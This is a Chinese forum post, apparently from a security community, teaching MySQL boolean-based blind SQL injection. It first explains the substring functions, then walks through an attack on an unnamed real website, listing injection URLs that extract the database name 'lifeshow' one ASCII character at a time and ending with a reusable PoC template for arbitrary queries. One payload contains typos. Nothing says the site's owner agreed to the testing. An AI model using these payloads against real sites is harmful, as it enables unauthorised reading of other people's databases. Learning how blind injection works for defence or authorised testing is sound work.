首页
社区
课程
招聘
[原创]mysql布尔注入原理及实战
发表于: 2017-12-2 01:30 4187

[原创]mysql布尔注入原理及实战

2017-12-2 01:30
4187
我们都知道sql盲注分为基于布尔型的,时间型的和报错型的
今天咱们来学学布尔型的盲注
首先呢 我们必须要牢记下面几个mysql的函数分别为

1.mid()函数

mid(striing,start,length)

string(必需)规定要返回其中一部分的字符串。

start(必需)规定开始位置(起始值是 1)。

length(可选)要返回的字符数。如果省略,则 mid() 函数返回剩余文本。

2.substr()函数

substr(string,start,length)

string(必需)规定要返回其中一部分的字符串。

start(必需)规定在字符串的何处开始。

length(可选)规定被返回字符串的长度。

3.left()函数

left(string,length)

string(必需)规定要返回其中一部分的字符串

length(可选)规定被返回字符串的前length长度的字符


关于这些函数的细节用法具体可以问百度百科或者mysql教程

接下来实战部分(刚好遇到这种类型的。。。)
网址就不发了哈。。直接url开搞吧

/index.php?ProID=3

我们加一个'试试


可以看出这是标准型的布尔注入
来来来 咱们构造下语句
首先咱们先来判断下数据库的长度
用到的mysql函数为length() 函数具体用法自己想办法解决 : )
/index.php?ProID=3%20and%20length(database())>1#
至于后面的那个#号大佬们应该都知道是什么意思不知道的现在告诉你就是注释掉后面的sql语句
当我们访问这个链接的时候观察返回的内容

可以发现页面正常返回
我们增加长度的判断 经过测试数据的长度为8


因为当测试到8的时候页面并没有正常返回内容给我们

接下来我们用substr()和ascii()组合获取数据库的名字

/index.php?ProID=3%20and%20ascii(substr(databases(),0,1)=1#
这里就是判断数据库的第一个字母的ascii值是不是和后面的数字相等  这样我们就可以准确的获得数据库的名字啦

/index.php?ProID=3%20and%20ascii(substr(database(),1,1))=108%23 -> l
当测试到108的时候服务器返回正常内容给我们 这样我们就可以判断数据库的第一个ascii值为108对应的字母为l(小写)
然后接下来就获取相应的第2,3,4,5,6,7,8位 组合到一起就是数据库的名字啦
/index.php?ProID=3%20and%20ascii(substr(database(),2,1))=105%23 -> i
/index.php?ProID=3%20and%20ascii(substr(database(),3,1))=102%23 -> f
/index.php?ProID=3%20and%20ascii(substr(database(),4,1))=101%23 -> e
/index.php?ProID=3%20and%20ascii(substr(database(),5,1))=115%23 -> s
/index.php?ProID=3%20and%20ascii(substr(database(),6,1))=104%23 -> h
/index.php?ProID=3%20and%20ascii(substr(database(),7,1))=111%23  -> o
/index.php?ProID=3%20and%20ascii(substr(database(),8,1))=119%23 -> w

最后数据库的名字就是 lifeshow 啦 

如果是要获取其他的内容直接把database()换成相应的查询语句就ok啦
poc: /index.php?ProID=3%20and%20ascii(substr([SQL_QUERY],8,1))=119%23
ok啦到这里就先结束咯 咱们下次见喽~

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 1
支持
分享
最新回复 (1)
雪    币: 212
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
顶楼主
2017-12-15 22:56
0
游客
登录 | 注册 方可回帖
返回
//